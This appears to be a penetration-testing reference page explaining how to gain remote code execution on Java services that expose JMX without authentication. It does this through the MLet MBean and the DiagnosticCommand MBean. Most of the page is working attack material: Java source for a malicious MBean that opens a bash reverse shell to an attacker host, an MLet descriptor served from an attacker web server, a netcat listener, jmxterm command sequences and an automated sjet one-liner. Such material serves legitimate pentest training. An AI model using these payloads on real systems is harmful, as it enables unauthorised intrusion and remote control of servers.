# JMX MLet MBean Code Execution

- **URL:** https://hackindex.io/services/java-rmi-jmx/exploitation/jmx-mlet-mbean-code-execution
- **Path:** Java RMI / JMX > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/java-rmi-jmx/exploitation.md)
- **Published:** 2026-04-04
- **Updated:** 2026-04-04

Unauthenticated JMX access enables remote code execution through two primary paths: the MLet MBean which loads remote Java classes from a URL you control, and the DiagnosticCommand MBean which exposes a `vmCommand` operation for JVM-level command execution. Both execute in the context of the Java process user. Confirm unauthenticated access through [JMX unauthenticated access assessment](https://hackindex.io/services/java-rmi-jmx/vulnerability-discovery/jmx-unauthenticated-access) before proceeding.

- Check for MLet MBean
- Build a Malicious MBean JAR
- Create MLet File and Serve It
- Load the Malicious MBean via MLet
- Alternative: DiagnosticCommand MBean
- Alternative: sjet Automated Exploitation

## Check for MLet MBean

MLet is a built-in JMX service that loads MBeans from remote URLs. Its presence enables arbitrary class loading from attacker-controlled infrastructure:

```bash
echo -e 'open service:jmx:rmi:///jndi/rmi://$TARGET_IP:1099/jmxrmi\nbeans -d JMImplementation\nquit' | java -jar /opt/jmxterm.jar 2>/dev/null
# JMImplementation:type=MBeanServerDelegate
# JMImplementation:type=MLet
```

## Build a Malicious MBean JAR

Create a Java class that executes an OS command when instantiated as an MBean:

```java
// ExecMBean.java
public interface ExecMBean {}

// Exec.java
import java.io.*;
public class Exec implements ExecMBean {
    public Exec() throws Exception {
        Runtime.getRuntime().exec(new String[]{
            "/bin/bash", "-c",
            "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
        });
    }
}
```

```bash
mkdir -p /tmp/jmxpayload
cat > /tmp/jmxpayload/ExecMBean.java << 'EOF'
public interface ExecMBean {}
EOF
cat > /tmp/jmxpayload/Exec.java << EOF
import java.io.*;
public class Exec implements ExecMBean {
    public Exec() throws Exception {
        Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"});
    }
}
EOF
cd /tmp/jmxpayload && javac *.java && jar cf exec.jar *.class
```

## Create MLet File and Serve It

The MLet service loads MBeans from an HTML-like descriptor file. Serve both the descriptor and the JAR from a Python web server:

```bash
cat > /tmp/jmxpayload/mlet.html << EOF
<html>
<mlet code="Exec" archive="exec.jar" name="exploit:name=exec" codebase="http://$LHOST:8000/"></mlet>
</html>
EOF
cd /tmp/jmxpayload && python3 -m http.server 8000 &
# Serving HTTP on 0.0.0.0 port 8000 ...
```

## Load the Malicious MBean via MLet

```bash
nc -lvnp $LPORT &
```

```
open service:jmx:rmi:///jndi/rmi://10.10.10.50:1099/jmxrmi
bean JMImplementation:type=MLet
run getMBeansFromURL http://LHOST:8000/mlet.html
```

```bash
echo -e "open service:jmx:rmi:///jndi/rmi://$TARGET_IP:1099/jmxrmi\nbean JMImplementation:type=MLet\nrun getMBeansFromURL http://$LHOST:8000/mlet.html\nquit" | java -jar /opt/jmxterm.jar 2>/dev/null
# #run getMBeansFromURL http://10.10.14.5:8000/mlet.html
# [exploit:name=exec]
```

## Alternative: DiagnosticCommand MBean

When DiagnosticCommand is available it provides direct JVM command execution without needing to serve a JAR:

```
open service:jmx:rmi:///jndi/rmi://10.10.10.50:1099/jmxrmi
bean com.sun.management:type=DiagnosticCommand
run vmCommand "System.exec('id')"
run vmCommand "System.exec('bash -c {bash,-i,>&,/dev/tcp/LHOST/LPORT,0>&1}')"
```

## Alternative: sjet Automated Exploitation

sjet automates the MLet attack chain in a single command when operating outside exam environments:

> [!CAUTION]
> sjet is an exploitation tool: do not use it in OSCP or other exam environments. Use the manual MLet or DiagnosticCommand approach above for exam scenarios.

```bash
git clone https://github.com/siberas/sjet && cd sjet
python3 sjet.py $TARGET_IP 1099 super_secret executeCommand 'id'
```

## References

- [sjet](https://github.com/siberas/sjet) - Automated JMX exploitation via MLet MBean class loading
- [jmxterm](https://github.com/jiaqi/jmxterm) - Interactive CLI for manual MLet and DiagnosticCommand exploitation